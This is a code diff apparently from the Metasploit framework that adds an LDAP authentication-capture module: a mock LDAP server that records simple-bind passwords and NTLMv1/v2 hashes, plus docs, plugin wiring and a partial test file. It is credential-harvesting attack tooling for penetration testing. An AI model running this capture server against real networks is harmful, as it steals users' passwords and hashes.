diff --git a/data/capture_config.yaml b/data/capture_config.yaml index 90e8d3677641..c79cc065ca9b 100644 --- a/data/capture_config.yaml +++ b/data/capture_config.yaml @@ -16,6 +16,8 @@ services: enabled: yes - type: IMAP enabled: yes + - type: LDAP + enabled: yes - type: MSSQL enabled: yes - type: MySQL diff --git a/documentation/modules/auxiliary/server/capture/ldap.md b/documentation/modules/auxiliary/server/capture/ldap.md new file mode 100644 index 000000000000..17de7a0206e3 --- /dev/null +++ b/documentation/modules/auxiliary/server/capture/ldap.md @@ -0,0 +1,52 @@ + +## Vulnerable Application + +This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials. +Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User + +## Verification Steps + +1. Start msfconsole +2. Do: `use auxiliary/server/capture/ldap` +3. Do: `run` +4. From a new shell or workstation, perform a ldap bind request involving User credentials. +5. Check the database using `creds` for the user authentication information. + +## Options + + **Authentication** + +The type of LDAP authentication to capture. The default type is `Simple` + +## Scenarios + +### Metasploit Server + +``` +msf6 > use auxiliary/server/capture/ldap +msf6 auxiliary(server/capture/ldap) > run + +[*] Server started. +[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass +``` + +### Client + +``` +└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W +Enter LDAP Password: +ldap_bind: Auth Method Not Supported (7) + additional info: Auth Method Not Supported +``` + +**Database** + +``` +msf6 auxiliary(server/capture/ldap) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/ldap/server.rb b/lib/msf/core/exploit/remote/ldap/server.rb index cd368c6fed73..d158d52e0237 100644 --- a/lib/msf/core/exploit/remote/ldap/server.rb +++ b/lib/msf/core/exploit/remote/ldap/server.rb @@ -76,6 +76,13 @@ def on_send_response(cli, data) # def start_service comm = _determine_server_comm(bindhost) + auth_handler = Rex::Proto::LDAP::Auth.new( + datastore['CHALLENGE'], + datastore['Domain'], + datastore['Server'], + datastore['DnsName'], + datastore['DnsDomain'] + ) self.service = Rex::ServiceManager.start( Rex::Proto::LDAP::Server, bindhost, @@ -84,6 +91,7 @@ def start_service datastore['LdapServerTcp'], read_ldif, comm, + auth_handler, { 'Msf' => framework, 'MsfExploit' => self } ) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb new file mode 100644 index 000000000000..c767b7a9c898 --- /dev/null +++ b/lib/rex/proto/ldap/auth.rb @@ -0,0 +1,342 @@ +require 'net/ldap' +require 'net/ldap/dn' + +module Rex + module Proto + module LDAP + class Auth + SUPPORTS_SASL = %w[GSS-SPNEGO NLTM] + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + MESSAGE = Rex::Proto::NTLM::Message + + # + # Initialize the required variables + # + # @param challenge [String] NTLM Server Challenge + # @param domain [String] Domain value used in NTLM + # @param server [String] Server value used in NTLM + # @param dnsname [String] DNS Name value used in NTLM + # @param dnsdomain [String] DNS Domain value used in NTLM + def initialize(challenge, domain, server, dnsname, dnsdomain) + @domain = domain.nil? ? 'DOMAIN' : domain + @server = server.nil? ? 'SERVER' : server + @dnsname = dnsname.nil? ? 'server' : dnsname + @dnsdomain = dnsdomain.nil? ? 'example.com' : dnsdomain + @challenge = [challenge.nil? ? Rex::Text.rand_text_alphanumeric(16) : challenge].pack('H*') + end + + # + # Process the incoming LDAP login requests from clients + # + # @param user_login [OpenStruct] User login information + # + # @return auth_info [Hash] Processed authentication information + def process_login_request(user_login) + auth_info = {} + + if user_login.name.empty? && user_login.authentication.empty? # Anonymous + auth_info = handle_anonymous_request(user_login, auth_info) + elsif !user_login.name.empty? # Simple + auth_info = handle_simple_request(user_login, auth_info) + elsif sasl?(user_login) + auth_info = handle_sasl_request(user_login, auth_info) + else + auth_info = handle_unknown_request(user_login, auth_info) + end + + auth_info + end + + # + # Handle Anonymous authentication requests + # + # @param user_login [OpenStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_anonymous_request(user_login, auth_info = {}) + if user_login.name.empty? && user_login.authentication.empty? + auth_info[:user] = user_login.name + auth_info[:pass] = user_login.authentication + auth_info[:domain] = nil + auth_info[:result_code] = Net::LDAP::ResultCodeSuccess + auth_info[:auth_type] = 'Anonymous' + end + auth_info + end + + # + # Handle Unknown authentication requests + # + # @param user_login [OpenStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_unknown_request(user_login, auth_info = {}) + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unknown Authentication Format' + auth_info + end + + # + # Handle Simple authentication requests + # + # @param user_login [OpenStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_simple_request(user_login, auth_info = {}) + domains = [] + names = [] + if !user_login.name.empty? + if user_login.name =~ /@/ + pub_info = user_login.name.split('@') + if pub_info.length <= 2 + auth_info[:user], auth_info[:domain] = pub_info + else + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}" + end + elsif user_login.name =~ /,/ + begin + dn = Net::LDAP::DN.new(user_login.name) + dn.each_pair do |key, value| + if key == 'cn' + names << value + elsif key == 'dc' + domains << value + end + end + auth_info[:user] = names.join('') + auth_info[:domain] = domains.empty? ? nil : domains.join('.') + rescue Net::LDAP::InvalidDNError => e + auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}" + raise e + end + elsif user_login.name =~ /\\/ + pub_info = user_login.name.split('\\') + if pub_info.length <= 2 + auth_info[:domain], auth_info[:user] = pub_info + else + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + auth_info[:error_msg] = "Invalid LDAP Login Attempt => DN:#{user_login.name}" + end + else + auth_info[:user] = user_login.name + auth_info[:domain] = nil + auth_info[:result_code] = Net::LDAP::ResultCodeInvalidCredentials + end + auth_info[:private] = user_login.authentication + auth_info[:private_type] = :password + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported if auth_info[:result_code].nil? + auth_info[:auth_type] = 'Simple' + auth_info + end + end + + # + # Handle SASL authentication requests + # + # @param user_login [OpenStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_sasl_request(user_login, auth_info = {}) + case user_login.authentication[1] + when /NTLMSSP/ + message = Net::NTLM::Message.parse(user_login.authentication[1]) + if message.is_a?(::Net::NTLM::Message::Type1) + auth_info[:server_creds] = generate_type2_response(message) + auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress + elsif message.is_a?(::Net::NTLM::Message::Type3) + auth_info = handle_type3_message(message, auth_info) + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + end + else + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported + auth_info[:error_msg] = 'Invalid LDAP Login Attempt => Unsupported SASL Format' + end + auth_info[:auth_type] = 'SASL' + auth_info + end + + private + + # + # Determine if the supplied request is formatted for SASL auth + # + # @param user_login [OpenStruct] User login information + # + # @return [bool] True if the request can be processed for SASL auth + def sasl?(user_login) + if user_login.authentication.is_a?(Array) && SUPPORTS_SASL.include?(user_login.authentication[0]) + return true + end + + false + end + + # + # Generate NTLM Type2 response from NTLM Type1 message + # + # @param message [Net::NTLM::Message::Type1] NTLM Type1 message + # + # @return server_hash [String] NTLM Type2 response that is sent as server credentials + def generate_type2_response(message) + dom = message.domain + ws = message.workstation + domain = dom.empty? ? @domain : dom + server = ws.empty? ? @server : ws + server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, domain, server, @dnsname, @dnsdomain) + Rex::Text.decode_base64(server_hash) + end + + # + # Handle NTLM Type3 message + # + # @param message [Net::NTLM::Message::Type3] NTLM Type3 message + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_type3_message(message, auth_info = {}) + arg = { + domain: message.domain, + user: message.user, + host: message.workstation + } + + domain, user, host, lm_hash, ntlm_hash = MESSAGE.process_type3_message(message.encode64) + nt_len = ntlm_hash.length + + if nt_len == 48 + arg[:ntlm_ver] = NTLM_CONST::NTLM_V1_RESPONSE + arg[:lm_hash] = lm_hash + arg[:nt_hash] = ntlm_hash + + if arg[:lm_hash][16, 32] == '0' * 32 + arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE + end + elsif nt_len > 48 + arg[:ntlm_ver] = NTLM_CONST::NTLM_V2_RESPONSE + arg[:lm_hash] = lm_hash[0, 32] + arg[:lm_cli_challenge] = lm_hash[32, 16] + arg[:nt_hash] = ntlm_hash[0, 32] + arg[:nt_cli_challenge] = ntlm_hash[32, nt_len - 32] + else + auth_info[:error_msg] = "Unknown hash type from #{host}, ignoring ..." + end + auth_info.merge(process_ntlm_hash(arg)) unless arg.nil? + end + + # + # Process the NTLM Hash received from NTLM Type3 message + # + # @param arg [Hash] authentication information received from Type3 message + # + # @return arg [Hash] Processed NTLM authentication information + def process_ntlm_hash(arg = {}) + ntlm_ver = arg[:ntlm_ver] + lm_hash = arg[:lm_hash] + nt_hash = arg[:nt_hash] + unless ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE || ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE + lm_cli_challenge = arg[:lm_cli_challenge] + nt_cli_challenge = arg[:nt_cli_challenge] + end + domain = Rex::Text.to_ascii(arg[:domain]) + user = Rex::Text.to_ascii(arg[:user]) + host = Rex::Text.to_ascii(arg[:host]) + + case ntlm_ver + when NTLM_CONST::NTLM_V1_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NLMv1 Hash correspond to an empty password, ignoring ... ' + return + end + if lm_hash == nt_hash || lm_hash == '' || lm_hash =~ /^0*$/ + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + ntlm_ver: NTLM_CONST::NTLM_V1_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_V2_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [nt_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NTLMv2 Hash correspond to an empty password, ignoring ... ' + return + end + if (lm_hash == '0' * 32) && (lm_cli_challenge == '0' * 16) + lm_hash_message = 'Disabled' + elsif NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [lm_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_cli_challenge].pack('H*'), + user: user, + domain: domain, + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + type: 'lm' + }) + lm_hash_message = 'Disabled (from empty password)' + else + lm_hash_message = lm_hash + end + + hash = [ + lm_hash || '0' * 32, + nt_hash || '0' * 32 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + when NTLM_CONST::NTLM_2_SESSION_RESPONSE + if NTLM_CRYPT.is_hash_from_empty_pwd?({ + hash: [nt_hash].pack('H*'), + srv_challenge: @challenge, + cli_challenge: [lm_hash].pack('H*')[0, 8], + ntlm_ver: NTLM_CONST::NTLM_2_SESSION_RESPONSE, + type: 'ntlm' + }) + arg[:error_msg] = 'NTLM2_session Hash correspond to an empty password, ignoring ... ' + return + end + + hash = [ + lm_hash || '0' * 48, + nt_hash || '0' * 48 + ].join(':').gsub(/\n/, '\\n') + arg[:private] = hash + else + return + end + arg[:domain] = domain + arg[:user] = user + arg[:host] = host + arg[:private_type] = :ntlm_hash + arg + end + end + end + end +end diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index ba13dd5c9b91..af0d9f359232 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -56,12 +56,13 @@ def write(data) # @param udp [TrueClass, FalseClass] Listen on UDP socket # @param tcp [TrueClass, FalseClass] Listen on TCP socket # @param ldif [String] LDIF data + # @param auth_provider [Rex::Proto::LDAP::Auth] LDAP Authentication provider which processes authentication # @param ctx [Hash] Framework context for sockets # @param dblock [Proc] Handler for :dispatch_request flow control interception # @param sblock [Proc] Handler for :send_response flow control interception # # @return [Rex::Proto::LDAP::Server] LDAP Server object - def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, ctx = {}, dblock = nil, sblock = nil) + def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = nil, comm = nil, auth_provider = nil, ctx = {}, dblock = nil, sblock = nil) @serve_udp = udp @serve_tcp = tcp @sock_options = { @@ -74,6 +75,7 @@ def initialize(lhost = '0.0.0.0', lport = 389, udp = true, tcp = true, ldif = ni self.listener_thread = nil self.dispatch_request_proc = dblock self.send_response_proc = sblock + @auth_provider = auth_provider end # @@ -109,11 +111,13 @@ def start stop raise e end - if !serve_udp + unless serve_udp self.listener_thread = tcp_sock.listener_thread end end + @auth_provider ||= Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil) + self end @@ -149,53 +153,90 @@ def dispatch_request(cli, data) # # Default LDAP request dispatcher # - # @param cli [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request + # @param client [Rex::Socket::Tcp, Rex::Socket::Udp] Client sending the request # @param data [String] raw LDAP request data - def default_dispatch_request(cli, data) - return if data.strip.empty? + def default_dispatch_request(client, data) + return if data.strip.empty? || data.strip.nil? + + processed_pdu_data = { + ip: client.peerhost, + port: client.peerport, + service_name: 'ldap', + post_pdu: false + } data.extend(Net::BER::Extensions::String) begin pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) - wlog("LDAP request has remaining data: #{data}") if !data.empty? - resp = case pdu.app_tag - when Net::LDAP::PDU::BindRequest # bind request - cli.authenticated = true - encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeSuccess, - '', - '', - Net::LDAP::PDU::BindResult - ) - when Net::LDAP::PDU::SearchRequest # search request - if cli.authenticated - # Perform query against some loaded LDIF structure - treebase = pdu.search_parameters[:base_object].to_s - # ... search, build packet, send to client - encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeNoSuchObject, '', - Net::LDAP::ResultStrings[Net::LDAP::ResultCodeNoSuchObject], - Net::LDAP::PDU::SearchResult - ) - else - service.encode_ldap_response(pdu.message_id, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) - end - when Net::LDAP::PDU::UnbindRequest - nil # close client, no response can be sent over unbound comm - else - service.encode_ldap_response( - pdu.message_id, - Net::LDAP::ResultCodeUnwillingToPerform, - '', - Net::LDAP::ResultStrings[Net::LDAP::ResultCodeUnwillingToPerform], - Net::LDAP::PDU::SearchResult - ) end - resp.nil? ? cli.close : send_response(cli, resp) + wlog("LDAP request data remaining: #{data}") unless data.empty? + + res = case pdu.app_tag + when Net::LDAP::PDU::BindRequest + user_login = pdu.bind_parameters + server_creds = '' + context_code = nil + processed_pdu_data = @auth_provider.process_login_request(user_login).merge(processed_pdu_data) + if processed_pdu_data[:result_code] == Net::LDAP::ResultCodeSaslBindInProgress + server_creds = processed_pdu_data[:server_creds] + context_code = 7 + else + processed_pdu_data[:result_message] = "LDAP Login Attempt => From:#{processed_pdu_data[:ip]}:#{processed_pdu_data[:port]}\t Username:#{processed_pdu_data[:user]}\t #{processed_pdu_data[:private_type]}:#{processed_pdu_data[:private]}\t" + processed_pdu_data[:result_message] += " Domain:#{processed_pdu_data[:domain]}" if processed_pdu_data[:domain] + processed_pdu_data[:post_pdu] = true + end + processed_pdu_data[:pdu_type] = pdu.app_tag + encode_ldap_response( + pdu.message_id, + processed_pdu_data[:result_code], + '', + Net::LDAP::ResultStrings[processed_pdu_data[:result_code]], + Net::LDAP::PDU::BindResult, + server_creds, + context_code + ) + when Net::LDAP::PDU::SearchRequest + filter = Net::LDAP::Filter.parse_ldap_filter(pdu.search_parameters[:filter]) + attrs = pdu.search_parameters[:attributes].empty? ? :all : pdu.search_parameters[:attributes] + res = search_result(filter, pdu.message_id, attrs) + if res.nil? || res.empty? + result_code = Net::LDAP::ResultCodeNoSuchObject + else + client.write(res) + result_code = Net::LDAP::ResultCodeSuccess + end + processed_pdu_data[:pdu_type] = pdu.app_tag + encode_ldap_response( + pdu.message_id, + result_code, + '', + Net::LDAP::ResultStrings[result_code], + Net::LDAP::PDU::SearchResult + ) + when Net::LDAP::PDU::UnbindRequest + client.close + nil + else + if suitable_response(pdu.app_tag) + result_code = Net::LDAP::ResultCodeUnwillingToPerform + encode_ldap_response( + pdu.message_id, + result_code, + '', + Net::LDAP::ResultStrings[result_code], + suitable_response(pdu.app_tag) + ) + else + client.close + end + end + + if @pdu_process[pdu.app_tag] && !processed_pdu_data.empty? + @pdu_process[pdu.app_tag].call(processed_pdu_data) + end + send_response(client, res) unless res.nil? rescue StandardError => e elog(e) - cli.close + client.close raise e end end @@ -203,50 +244,84 @@ def default_dispatch_request(cli, data) # # Encode response for LDAP client consumption # - # @param msgid [Integer] LDAP message identifier - # @param code [Integer] LDAP message code - # @param dn [String] LDAP distinguished name - # @param msg [String] LDAP response message - # @param tag [Integer] LDAP response tag + # @param msgid [Integer] LDAP message identifier + # @param code [Integer] LDAP message code + # @param dn [String] LDAP distinguished name + # @param msg [String] LDAP response message + # @param tag [Integer] LDAP response tag + # @param context_data [String] Additional data to serialize in the sequence + # @param context_code [Integer] Context Specific code related to `context_data` # # @return [Net::BER::BerIdentifiedOid] LDAP query response - def encode_ldap_response(msgid, code, dn, msg, tag) + def encode_ldap_response(msgid, code, dn, msg, tag, context_data = nil, context_code = nil) + tag_sequence = [ + code.to_ber_enumerated, + dn.to_ber, + msg.to_ber + ] + + if context_data && context_code + tag_sequence << context_data.to_ber_contextspecific(context_code) + end + [ msgid.to_ber, - [ - code.to_ber_enumerated, - dn.to_ber, - msg.to_ber - ].to_ber_appsequence(tag) + tag_sequence.to_ber_appsequence(tag) ].to_ber_sequence end # - # Search provided ldif data for query information + # Search provided ldif data for query information. If no `ldif` was provided a random search result will be generated. # # @param filter [Net::LDAP::Filter] LDAP query filter # @param attrflt [Array, Symbol] LDAP attribute filter # # @return [Array] Query matches - def search_ldif(filter, msgid, attrflt = :all) - return [] if @ldif.nil? || @ldif.empty? - - ldif.map do |dn, entry| - next unless filter.match(entry) + def search_result(filter, msgid, attrflt = :all) + if @ldif.nil? || @ldif.empty? attrs = [] - entry.each do |k, v| - if attrflt == :all || attrflt.include?(k.downcase) - attrvals = v.map(&:to_ber).to_ber_set - attrs << [k.to_ber, attrvals].to_ber_sequence + if attrflt.is_a?(Array) + attrflt.each do |at| + attrval = [Rex::Text.rand_text_alphanumeric(10)].map(&:to_ber).to_ber_set + attrs << [at.to_ber, attrval].to_ber_sequence end + dn = "dc=#{Rex::Text.rand_text_alphanumeric(10)},dc=#{Rex::Text.rand_text_alpha(4)}" + appseq = [ + dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence end - appseq = [ - dn.to_ber, - attrs.to_ber_sequence - ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) - [msgid.to_ber, appseq].to_ber_sequence - end.compact + else + ldif.map do |bind_dn, entry| + next unless filter.match(entry) + + attrs = [] + entry.each do |k, v| + if attrflt == :all || attrflt.include?(k.downcase) + attrvals = v.map(&:to_ber).to_ber_set + attrs << [k.to_ber, attrvals].to_ber_sequence + end + end + appseq = [ + bind_dn.to_ber, + attrs.to_ber_sequence + ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) + [msgid.to_ber, appseq].to_ber_sequence + end.compact.join + end + end + + # + # Sets the tasks to be performed after processing of pdu object + # + # @param proc [Proc] block of code to execute + # + # @return pdu_process [Proc] steps to be executed + def processed_pdu_handler(pdu_type, &proc) + @pdu_process = [] + @pdu_process[pdu_type] = proc if block_given? end # @@ -256,6 +331,27 @@ def self.hardcore_alias(*args) "#{args[0] || ''}-#{args[1] || ''}-#{args[4] || ''}" end + # + # Get suitable response for a particular request + # + # @param request [Integer] Type of request + # + # @return response [Integer] Type of response + def suitable_response(request) + responses = { + Net::LDAP::PDU::BindRequest => Net::LDAP::PDU::BindResult, + Net::LDAP::PDU::SearchRequest => Net::LDAP::PDU::SearchResult, + Net::LDAP::PDU::ModifyRequest => Net::LDAP::PDU::ModifyResponse, + Net::LDAP::PDU::AddRequest => Net::LDAP::PDU::AddResponse, + Net::LDAP::PDU::DeleteRequest => Net::LDAP::PDU::DeleteResponse, + Net::LDAP::PDU::ModifyRDNRequest => Net::LDAP::PDU::ModifyRDNResponse, + Net::LDAP::PDU::CompareRequest => Net::LDAP::PDU::CompareResponse, + Net::LDAP::PDU::ExtendedRequest => Net::LDAP::PDU::ExtendedResponse + } + + responses[request] + end + # # LDAP server. # @@ -299,7 +395,7 @@ def on_client_data(cli) dispatch_request(cli, data) rescue EOFError => e - tcp_socket.close_client(cli) if cli + tcp_sock.close_client(cli) if cli raise e end diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb new file mode 100644 index 000000000000..810b1fb2bac4 --- /dev/null +++ b/modules/auxiliary/server/capture/ldap.rb @@ -0,0 +1,103 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::LDAP::Server + + def initialize(_info = {}) + super( + 'Name' => 'Authentication Capture: LDAP', + 'Description' => %q{ + This module mocks an LDAP service to capture authentication + information of a client trying to authenticate against an LDAP service + }, + 'Author' => 'JustAnda7', + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ] + ], + 'PassiveActions' => [ 'Capture' ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + + register_options( + [ + OptAddress.new('SRVHOST', [ true, 'The ip address to listen on.', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The port to listen on.', '389' ]), + OptString.new('CHALLENGE', [ true, 'The 8 byte challenge', Rex::Text.rand_text_alphanumeric(16) ]) + ] + ) + + deregister_options('LDIF_FILE') + + register_advanced_options( + [ + OptString.new('Domain', [ false, 'The default domain to use for NTLM authentication', 'DOMAIN']), + OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']), + OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']), + OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']), + OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path']) + ] + ) + end + + def run + unless datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/ + print_error('CHALLENGE syntax must match 1122334455667788') + return + end + exploit + end + + def primer + service.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data| + if processed_data[:post_pdu] + if processed_data[:error_msg] + print_error(processed_data[:error_msg]) + else + print_good(processed_data[:result_message]) + report_cred(processed_data) + end + end + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:private], + private_type: opts[:private_type] + }.merge(service_data) + + if opts[:domain] + credential_data = { + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: opts[:domain] + }.merge(credential_data) + end + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/plugins/capture.rb b/plugins/capture.rb index 710d41c404db..3b42cc191fd0 100644 --- a/plugins/capture.rb +++ b/plugins/capture.rb @@ -198,6 +198,7 @@ def listeners_start(args) 'DRDA' => 'auxiliary/server/capture/drda', 'FTP' => 'auxiliary/server/capture/ftp', 'IMAP' => 'auxiliary/server/capture/imap', + 'LDAP' => 'auxiliary/server/capture/ldap', 'MSSQL' => 'auxiliary/server/capture/mssql', 'MySQL' => 'auxiliary/server/capture/mysql', 'POP3' => 'auxiliary/server/capture/pop3', @@ -578,6 +579,11 @@ def configure_smb(datastore, config) datastore['CHALLENGE'] = config[:ntlm_challenge] end + def configure_ldap(datastore, config) + datastore['DOMAIN'] = config[:ntlm_domain] + datastore['CHALLENGE'] = config[:ntlm_challenge] + end + def configure_mssql(datastore, config) datastore['DOMAIN_NAME'] = config[:ntlm_domain] datastore['CHALLENGE'] = config[:ntlm_challenge] diff --git a/spec/lib/rex/proto/ldap/auth_spec.rb b/spec/lib/rex/proto/ldap/auth_spec.rb new file mode 100644 index 000000000000..34b0a4b1d5b9 --- /dev/null +++ b/spec/lib/rex/proto/ldap/auth_spec.rb @@ -0,0 +1,252 @@ +# frozen_string_literal: true + +require 'rex/text' +require 'rex/proto/ntlm/message' + +RSpec.describe Rex::Proto::LDAP::Auth do + subject(:nil_parameter_auth) do + described_class.new(nil, nil, nil, nil, nil) + end + + subject(:parameter_auth) do + described_class.new('1122334455667788', 'my_domain', 'my_server', 'my_dnsname', 'my_dnsdomain') + end + + before do + @type3 = "0\x82\x01D\x02\x01\x01`\x82\x01=\x02\x01\x03\x04\x00\xA3\x82\x014\x04\nGSS-SPNEGO\x04\x82\x01$NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00@"\ + "\x00\x00\x00\x92\x00\x92\x00X\x00\x00\x00\f\x00\f\x00\xEA\x00\x00\x00\b\x00\b\x00\xF6\x00\x00\x00\x16\x00\x16\x00\xFE\x00\x00\x00\x10\x00\x10"\ + "\x00\x14\x01\x00\x00\x05\x02\x80BN\x98\xF8\x84,\x8At\b\x98\xEC\xB7\xC8\x15\x12l\x01\x92\xDDO\x88<\xFA\x0F\xF4Q\x9AA\x12\xC4\x991\xE2\xA0\xCETk"\ + "\x83\x00\xCA\x8D\x01\x01\x00\x00\x00\x00\x00\x00\x80\x15sIU\t\xDA\x01\x92\xDDO\x88<\xFA\x0F\xF4\x00\x00\x00\x00\x02\x00\f\x00D\x00O\x00M\x00A\x00I\x00N"\ + "\x00\x01\x00\f\x00S\x00E\x00R\x00V\x00E\x00R\x00\x04\x00\x16\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x03\x00$\x00S\x00E\x00R\x00V"\ + "\x00E\x00R\x00.\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x00\x00\x00\x00D\x00O\x00M\x00A\x00I\x00N\x00U\x00s\x00e\x00r\x00W\x00O\x00R"\ + "\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00\xFD\xF0\x01l#bF\xD2\x87\x14\x119#c*\xBA" + end + + let(:user_login) { OpenStruct.new } + let(:ntlm_type1) do + ntlm1 = Net::NTLM::Message::Type1.new.serialize + + sasl = ['GSS-SPNEGO'.to_ber, ntlm1.to_ber].to_ber_contextspecific(3) + br = [ + Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl + ].to_ber_appsequence(Net::LDAP::PDU::BindRequest) + + type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax) + pdu = Net::LDAP::PDU.new(type1) + pdu.bind_parameters + end + let(:ntlm_type3) do + pdu = Net::LDAP::PDU.new(@type3.read_ber(Net::LDAP::AsnSyntax)) + pdu.bind_parameters + end + + context '#initialize' do + it 'sets default values when called with nil arguments' do + expect(nil_parameter_auth.instance_variable_get(:@domain)).to eq('DOMAIN') + expect(nil_parameter_auth.instance_variable_get(:@server)).to eq('SERVER') + expect(nil_parameter_auth.instance_variable_get(:@dnsname)).to eq('server') + expect(nil_parameter_auth.instance_variable_get(:@dnsdomain)).to eq('example.com') + expect(nil_parameter_auth.instance_variable_get(:@challenge).length).to eq(8) + end + + it 'sets provided values when called with arguments' do + expect(parameter_auth.instance_variable_get(:@domain)).to eq('my_domain') + expect(parameter_auth.instance_variable_get(:@server)).to eq('my_server') + expect(parameter_auth.instance_variable_get(:@dnsname)).to eq('my_dnsname') + expect(parameter_auth.instance_variable_get(:@dnsdomain)).to eq('my_dnsdomain') + expect(parameter_auth.instance_variable_get(:@challenge).length).to eq(8) + end + end + + context '#handle_anonymous_request' do + before do + user_login.name = '' + user_login.authentication = '' + end + + it 'returns a hash with expected values for anonymous requests' do + result = parameter_auth.handle_anonymous_request(user_login) + + expect(result[:user]).to eq('') + expect(result[:pass]).to eq('') + expect(result[:domain]).to be_nil + expect(result[:auth_type]).to eq('Anonymous') + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSuccess) + end + end + + context '#handle_simple_request' do + it 'handles 